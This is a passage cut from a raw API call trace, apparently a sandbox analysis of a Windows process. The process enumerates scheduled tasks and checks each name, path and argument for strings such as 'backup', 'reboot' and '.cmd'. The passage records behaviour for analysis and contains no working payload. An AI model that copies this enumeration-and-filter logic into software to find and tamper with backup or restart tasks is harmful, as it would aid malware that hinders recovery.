wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff90) returned 0x0 [0036.473] IRegisteredTask:get_Name (in: This=0x6eff90, pName=0x2ffadc | out: pName=0x2ffadc*="AitAgent") returned 0x0 [0036.473] IRegisteredTask:get_State (in: This=0x6eff90, pState=0x2ffae0 | out: pState=0x2ffae0*=2) returned 0x0 [0036.474] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0036.474] wcsstr (_Str="aitagent", _SubStr="reboot") returned 0x0 [0036.474] wcsstr (_Str="aitagent", _SubStr="restart") returned 0x0 [0036.474] wcsstr (_Str="aitagent", _SubStr="shutdown") returned 0x0 [0036.474] wcsstr (_Str="aitagent", _SubStr="logoff") returned 0x0 [0036.474] wcsstr (_Str="aitagent", _SubStr=".bat") returned 0x0 [0036.475] wcsstr (_Str="aitagent", _SubStr="backup") returned 0x0 [0036.475] wcsstr (_Str="aitagent", _SubStr=".cmd") returned 0x0 [0036.475] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.475] IRegisteredTask:get_Definition (in: This=0x6eff90, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x26500c0) returned 0x0 [0036.592] ITaskDefinition:get_Actions (in: This=0x26500c0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2650138) returned 0x0 [0036.592] IActionCollection:get_Count (in: This=0x2650138, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0036.592] IActionCollection:get_Item (in: This=0x2650138, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650988) returned 0x0 [0036.592] IAction:get_Type (in: This=0x2650988, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0036.592] IUnknown:QueryInterface (in: This=0x2650988, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650988) returned 0x0 [0036.592] IExecAction:get_Path (in: This=0x2650988, pPath=0x2ffad8 | out: pPath=0x2ffad8*="aitagent") returned 0x0 [0036.592] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0036.592] wcsstr (_Str="aitagent", _SubStr="reboot") returned 0x0 [0036.592] wcsstr (_Str="aitagent", _SubStr="restart") returned 0x0 [0036.592] wcsstr (_Str="aitagent", _SubStr="shutdown") returned 0x0 [0036.592] wcsstr (_Str="aitagent", _SubStr="logoff") returned 0x0 [0036.592] wcsstr (_Str="aitagent", _SubStr=".bat") returned 0x0 [0036.592] wcsstr (_Str="aitagent", _SubStr="backup") returned 0x0 [0036.593] wcsstr (_Str="aitagent", _SubStr=".cmd") returned 0x0 [0036.593] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.593] IExecAction:get_Arguments (in: This=0x2650988, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*=0x0) returned 0x0 [0036.593] IUnknown:Release (This=0x2650988) returned 0x2 [0036.593] IUnknown:Release (This=0x2650988) returned 0x1 [0036.593] IUnknown:Release (This=0x2650138) returned 0x1 [0036.593] IUnknown:Release (This=0x26500c0) returned 0x0 [0036.593] IUnknown:Release (This=0x6eff90) returned 0x0 [0036.593] IRegisteredTaskCollection:get_Item (in: This=0x6efe88, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff90) returned 0x0 [0036.593] IRegisteredTask:get_Name (in: This=0x6eff90, pName=0x2ffadc | out: pName=0x2ffadc*="ProgramDataUpdater") returned 0x0 [0036.593] IRegisteredTask:get_State (in: This=0x6eff90, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0036.595] IUnknown:Release (This=0x6eff90) returned 0x0 [0036.595] IUnknown:Release (This=0x6efe88) returned 0x0 [0036.595] ITaskFolder:GetFolders (in: This=0x6efdf8, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x6efe88) returned 0x0 [0036.595] ITaskFolderCollection:get_Count (in: This=0x6efe88, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0036.595] IUnknown:Release (This=0x6efe88) returned 0x0 [0036.595] TaskScheduler:IUnknown:Release (This=0x6efdf8) returned 0x0 [0036.595] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x6efdf8) returned 0x0 [0036.595] ITaskFolder:GetTasks (in: This=0x6efdf8, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x6efe68) returned 0x0 [0036.596] IRegisteredTaskCollection:get_Count (in: This=0x6efe68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0036.596] IRegisteredTaskCollection:get_Item (in: This=0x6efe68, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff50) returned 0x0 [0036.596] IRegisteredTask:get_Name (in: This=0x6eff50, pName=0x2ffadc | out: pName=0x2ffadc*="Proxy") returned 0x0 [0036.596] IRegisteredTask:get_State (in: This=0x6eff50, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0036.597] IUnknown:Release (This=0x6eff50) returned 0x0 [0036.597] IUnknown:Release (This=0x6efe68) returned 0x0 [0036.597] ITaskFolder:GetFolders (in: This=0x6efdf8, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x6efe68) returned 0x0 [0036.598] ITaskFolderCollection:get_Count (in: This=0x6efe68, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0036.598] IUnknown:Release (This=0x6efe68) returned 0x0 [0036.598] TaskScheduler:IUnknown:Release (This=0x6efdf8) returned 0x0 [0036.598] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x6efdf8) returned 0x0 [0036.598] ITaskFolder:GetTasks (in: This=0x6efdf8, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x6efe70) returned 0x0 [0036.598] IRegisteredTaskCollection:get_Count (in: This=0x6efe70, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0036.598] IRegisteredTaskCollection:get_Item (in: This=0x6efe70, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff58) returned 0x0 [0036.598] IRegisteredTask:get_Name (in: This=0x6eff58, pName=0x2ffadc | out: pName=0x2ffadc*="UninstallDeviceTask") returned 0x0 [0036.598] IRegisteredTask:get_State (in: This=0x6eff58, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0036.600] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0036.600] wcsstr (_Str="uninstalldevicetask", _SubStr="reboot") returned 0x0 [0036.600] wcsstr (_Str="uninstalldevicetask", _SubStr="restart") returned 0x0 [0036.600] wcsstr (_Str="uninstalldevicetask", _SubStr="shutdown") returned 0x0 [0036.600] wcsstr (_Str="uninstalldevicetask", _SubStr="logoff") returned 0x0 [0036.600] wcsstr (_Str="uninstalldevicetask", _SubStr=".bat") returned 0x0 [0036.600] wcsstr (_Str="uninstalldevicetask", _SubStr="backup") returned 0x0 [0036.600] wcsstr (_Str="uninstalldevicetask", _SubStr=".cmd") returned 0x0 [0036.600] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0036.600] IRegisteredTask:get_Definition (in: This=0x6eff58, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x26500c0) returned 0x0 [0036.712] ITaskDefinition:get_Actions (in: This=0x26500c0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6effa0) returned 0x0 [0036.712] IActionCollection:get_Count (in: This=0x6effa0, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0036.712] IActionCollection:get_Item (in: This=0x6effa0, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650860) returned 0x0 [0036.712] IAction:get_Type (in: This=0x2650860, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0036.712] IUnknown:QueryInterface (in: This=0x2650860, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650860) returned 0x0 [0036.713] IExecAction:get_Path (in: This=0x2650860, pPath=0x2ffad8 | out: pPath=0x2ffad8*="BthUdTask.exe") returned 0x0 [0036.713] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x4f6360 [0036.713] wcsstr (_Str="bthudtask.exe", _SubStr="reboot") returned 0x0 [0036.713] wcsstr (_Str="bthudtask.exe", _SubStr="restart") returned 0x0 [0036.713] wcsstr (_Str="bthudtask.exe", _SubStr="shutdown") returned 0x0 [0036.713] wcsstr (_Str="bthudtask.exe", _SubStr="logoff") returned 0x0 [0036.713] wcsstr (_Str="bthudtask.exe", _SubStr=".bat") returned 0x0 [0036.713] wcsstr (_Str="bthudtask.exe", _SubStr="backup") returned 0x0 [0036.713] wcsstr (_Str="bthudtask.exe", _SubStr=".cmd") returned 0x0 [0036.713] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6360) returned 1 [0036.713] IExecAction:get_Arguments (in: This=0x2650860, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="$(Arg0)") returned 0x0 [0036.713] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0036.713] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0 [0036.713] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0 [0036.713] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0 [0036.713] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0 [0036.713] wcsstr (_Str="$(arg0)", _SubStr=".bat") returned 0x0 [0036.713] wcsstr (_Str="$(arg0)", _SubStr="backup") returned 0x0 [0036.713] wcsstr (_Str="$(arg0)", _SubStr=".cmd") returned 0x0 [0036.713] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0036.713] IUnknown:Release (This=0x2650860) returned 0x2 [0036.713] IUnknown:Release (This=0x2650860) returned 0x1 [0036.713] IUnknown:Release (This=0x6effa0) returned 0x1 [0036.713] IUnknown:Release (This=0x26500c0) returned 0x0 [0036.713] IUnknown:Release (This=0x6eff58) returned 0x0 [0036.713] IUnknown:Release (This=0x6efe70) returned 0x0 [0036.713] ITaskFolder:GetFolders (in: This=0x6efdf8, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x6efe70) returned 0x0 [0037.189] ITaskFolderCollection:get_Count (in: This=0x6efe70, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0037.189] IUnknown:Release (This=0x6efe70) returned 0x0 [0037.189] TaskScheduler:IUnknown:Release (This=0x6efdf8) returned 0x0 [0037.189] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x6efdf8) returned 0x0 [0037.189] ITaskFolder:GetTasks (in: This=0x6efdf8, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x6efe90) returned 0x0 [0037.190] IRegisteredTaskCollection:get_Count (in: This=0x6efe90, pCount=0x2ffad0 | out: pCount=0x2ffad0*=3) returned 0x0 [0037.190] IRegisteredTaskCollection:get_Item (in: This=0x6efe90, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff98) returned 0x0 [0037.190] IRegisteredTask:get_Name (in: This=0x6eff98, pName=0x2ffadc | out: pName=0x2ffadc*="SystemTask") returned 0x0 [0037.190] IRegisteredTask:get_State (in: This=0x6eff98, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0037.191] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0037.191] wcsstr (_Str="systemtask", _SubStr="reboot") returned 0x0 [0037.191] wcsstr (_Str="systemtask", _SubStr="restart") returned 0x0 [0037.191] wcsstr (_Str="systemtask", _SubStr="shutdown") returned 0x0 [0037.192] wcsstr (_Str="systemtask", _SubStr="logoff") returned 0x0 [0037.192] wcsstr (_Str="systemtask", _SubStr=".bat") returned 0x0 [0037.192] wcsstr (_Str="systemtask", _SubStr="backup") returned 0x0 [0037.192] wcsstr (_Str="systemtask", _SubStr=".cmd") returned 0x0 [0037.192] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0037.192] IRegisteredTask:get_Definition (in: This=0x6eff98, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x26500c0) returned 0x0 [0038.005] ITaskDefinition:get_Actions (in: This=0x26500c0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2650138) returned 0x0 [0038.005] IActionCollection:get_Count (in: This=0x2650138, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0038.005] IActionCollection:get_Item (in: This=0x2650138, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650b30) returned 0x0 [0038.005] IAction:get_Type (in: This=0x2650b30, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0038.006] IUnknown:Release (This=0x2650b30) returned 0x1 [0038.006] IUnknown:Release (This=0x2650138) returned 0x1 [0038.006] IUnknown:Release (This=0x26500c0) returned 0x0 [0038.006] IUnknown:Release (This=0x6eff98) returned 0x0 [0038.007] IRegisteredTaskCollection:get_Item (in: This=0x6efe90, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff98) returned 0x0 [0038.007] IRegisteredTask:get_Name (in: This=0x6eff98, pName=0x2ffadc | out: pName=0x2ffadc*="UserTask") returned 0x0 [0038.007] IRegisteredTask:get_State (in: This=0x6eff98, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0038.056] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0038.056] wcsstr (_Str="usertask", _SubStr="reboot") returned 0x0 [0038.056] wcsstr (_Str="usertask", _SubStr="restart") returned 0x0 [0038.056] wcsstr (_Str="usertask", _SubStr="shutdown") returned 0x0 [0038.056] wcsstr (_Str="usertask", _SubStr="logoff") returned 0x0 [0038.056] wcsstr (_Str="usertask", _SubStr=".bat") returned 0x0 [0038.056] wcsstr (_Str="usertask", _SubStr="backup") returned 0x0 [0038.057] wcsstr (_Str="usertask", _SubStr=".cmd") returned 0x0 [0038.057] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0038.057] IRegisteredTask:get_Definition (in: This=0x6eff98, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2650048) returned 0x0 [0038.067] ITaskDefinition:get_Actions (in: This=0x2650048, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2650b38) returned 0x0 [0038.067] IActionCollection:get_Count (in: This=0x2650b38, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0038.067] IActionCollection:get_Item (in: This=0x2650b38, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26509a0) returned 0x0 [0038.067] IAction:get_Type (in: This=0x26509a0, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0038.067] IUnknown:Release (This=0x26509a0) returned 0x1 [0038.067] IUnknown:Release (This=0x2650b38) returned 0x1 [0038.067] IUnknown:Release (This=0x2650048) returned 0x0 [0038.068] IUnknown:Release (This=0x6eff98) returned 0x0 [0038.068] IRegisteredTaskCollection:get_Item (in: This=0x6efe90, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6eff98) returned 0x0 [0038.068] IRegisteredTask:get_Name (in: This=0x6eff98, pName=0x2ffadc | out: pName=0x2ffadc*="UserTask-Roam") returned 0x0 [0038.069] IRegisteredTask:get_State (in: This=0x6eff98, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0038.079] IUnknown:Release (This=0x6eff98) returned 0x0 [0038.080] IUnknown:Release (This=0x6efe90) returned 0x0 [0038.080] ITaskFolder:GetFolders (in: This=0x6efdf8, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0038.080] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0038.080] IUnknown:Release (This=0x2650ac0) returned 0x0 [0038.080] TaskScheduler:IUnknown:Release (This=0x6efdf8) returned 0x0 [0038.081] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650ac0) returned 0x0 [0038.081] ITaskFolder:GetTasks (in: This=0x2650ac0, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x6efdf8) returned 0x0 [0038.082] IRegisteredTaskCollection:get_Count (in: This=0x6efdf8, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0038.082] IRegisteredTaskCollection:get_Item (in: This=0x6efdf8, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe58) returned 0x0 [0038.082] IRegisteredTask:get_Name (in: This=0x6efe58, pName=0x2ffadc | out: pName=0x2ffadc*="Consolidator") returned 0x0 [0038.082] IRegisteredTask:get_State (in: This=0x6efe58, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0038.117] IUnknown:Release (This=0x6efe58) returned 0x0 [0038.117] IUnknown:Release (This=0x6efdf8) returned 0x0 [0038.118] ITaskFolder:GetFolders (in: This=0x2650ac0, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x6efdf8) returned 0x0 [0038.118] ITaskFolderCollection:get_Count (in: This=0x6efdf8, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0038.118] IUnknown:Release (This=0x6efdf8) returned 0x0 [0038.118] TaskScheduler:IUnknown:Release (This=0x2650ac0) returned 0x0 [0038.118] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650ac0) returned 0x0 [0038.118] ITaskFolder:GetTasks (in: This=0x2650ac0, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650b30) returned 0x0 [0038.119] IRegisteredTaskCollection:get_Count (in: This=0x2650b30, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0038.119] IRegisteredTaskCollection:get_Item (in: This=0x2650b30, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe60) returned 0x0 [0038.119] IRegisteredTask:get_Name (in: This=0x6efe60, pName=0x2ffadc | out: pName=0x2ffadc*="ScheduledDefrag") returned 0x0 [0038.120] IRegisteredTask:get_State (in: This=0x6efe60, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0038.121] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x503f40 [0038.121] wcsstr (_Str="scheduleddefrag", _SubStr="reboot") returned 0x0 [0038.122] wcsstr (_Str="scheduleddefrag", _SubStr="restart") returned 0x0 [0038.122] wcsstr (_Str="scheduleddefrag", _SubStr="shutdown") returned 0x0 [0038.122] wcsstr (_Str="scheduleddefrag", _SubStr="logoff") returned 0x0 [0038.122] wcsstr (_Str="scheduleddefrag", _SubStr=".bat") returned 0x0 [0038.122] wcsstr (_Str="scheduleddefrag", _SubStr="backup") returned 0x0 [0038.122] wcsstr (_Str="scheduleddefrag", _SubStr=".cmd") returned 0x0 [0038.122] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503f40) returned 1 [0038.122] IRegisteredTask:get_Definition (in: This=0x6efe60, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff10) returned 0x0 [0038.218] ITaskDefinition:get_Actions (in: This=0x6eff10, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff88) returned 0x0 [0038.218] IActionCollection:get_Count (in: This=0x6eff88, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0038.218] IActionCollection:get_Item (in: This=0x6eff88, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650810) returned 0x0 [0038.219] IAction:get_Type (in: This=0x2650810, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0038.219] IUnknown:QueryInterface (in: This=0x2650810, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650810) returned 0x0 [0038.219] IExecAction:get_Path (in: This=0x2650810, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\system32\\defrag.exe") returned 0x0 [0038.219] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d2960 [0038.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="reboot") returned 0x0 [0038.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="restart") returned 0x0 [0038.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="shutdown") returned 0x0 [0038.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="logoff") returned 0x0 [0038.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".bat") returned 0x0 [0038.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="backup") returned 0x0 [0038.219] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".cmd") returned 0x0 [0038.219] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2960) returned 1 [0038.219] IExecAction:get_Arguments (in: This=0x2650810, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="-c") returned 0x0 [0038.219] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x6) returned 0x4e88f0 [0038.219] wcsstr (_Str="-c", _SubStr="reboot") returned 0x0 [0038.219] wcsstr (_Str="-c", _SubStr="restart") returned 0x0 [0038.219] wcsstr (_Str="-c", _SubStr="shutdown") returned 0x0 [0038.219] wcsstr (_Str="-c", _SubStr="logoff") returned 0x0 [0038.219] wcsstr (_Str="-c", _SubStr=".bat") returned 0x0 [0038.219] wcsstr (_Str="-c", _SubStr="backup") returned 0x0 [0038.219] wcsstr (_Str="-c", _SubStr=".cmd") returned 0x0 [0038.219] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88f0) returned 1 [0038.219] IUnknown:Release (This=0x2650810) returned 0x2 [0038.219] IUnknown:Release (This=0x2650810) returned 0x1 [0038.219] IUnknown:Release (This=0x6eff88) returned 0x1 [0038.219] IUnknown:Release (This=0x6eff10) returned 0x0 [0038.219] IUnknown:Release (This=0x6efe60) returned 0x0 [0038.219] IUnknown:Release (This=0x2650b30) returned 0x0 [0038.220] ITaskFolder:GetFolders (in: This=0x2650ac0, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2651fa0) returned 0x0 [0038.220] ITaskFolderCollection:get_Count (in: This=0x2651fa0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0038.220] IUnknown:Release (This=0x2651fa0) returned 0x0 [0038.220] TaskScheduler:IUnknown:Release (This=0x2650ac0) returned 0x0 [0038.220] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2651fa0) returned 0x0 [0038.220] ITaskFolder:GetTasks (in: This=0x2651fa0, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650b08) returned 0x0 [0038.221] IRegisteredTaskCollection:get_Count (in: This=0x2650b08, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0038.221] IUnknown:Release (This=0x2650b08) returned 0x0 [0038.221] ITaskFolder:GetFolders (in: This=0x2651fa0, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650b08) returned 0x0 [0038.221] ITaskFolderCollection:get_Count (in: This=0x2650b08, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0038.221] IUnknown:Release (This=0x2650b08) returned 0x0 [0038.221] TaskScheduler:IUnknown:Release (This=0x2651fa0) returned 0x0 [0038.221] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2651fa0) returned 0x0 [0038.221] ITaskFolder:GetTasks (in: This=0x2651fa0, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0038.222] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0038.222] IUnknown:Release (This=0x2650ac0) returned 0x0 [0038.222] ITaskFolder:GetFolders (in: This=0x2651fa0, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650ac0) returned 0x0 [0039.197] ITaskFolderCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0039.197] IUnknown:Release (This=0x2650ac0) returned 0x0 [0039.197] TaskScheduler:IUnknown:Release (This=0x2651fa0) returned 0x0 [0039.197] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2651fa0) returned 0x0 [0039.197] ITaskFolder:GetTasks (in: This=0x2651fa0, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650b00) returned 0x0 [0039.207] IRegisteredTaskCollection:get_Count (in: This=0x2650b00, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0039.207] IRegisteredTaskCollection:get_Item (in: This=0x2650b00, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0039.207] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="Notifications") returned 0x0 [0039.207] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0039.245] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503d10 [0039.245] wcsstr (_Str="notifications", _SubStr="reboot") returned 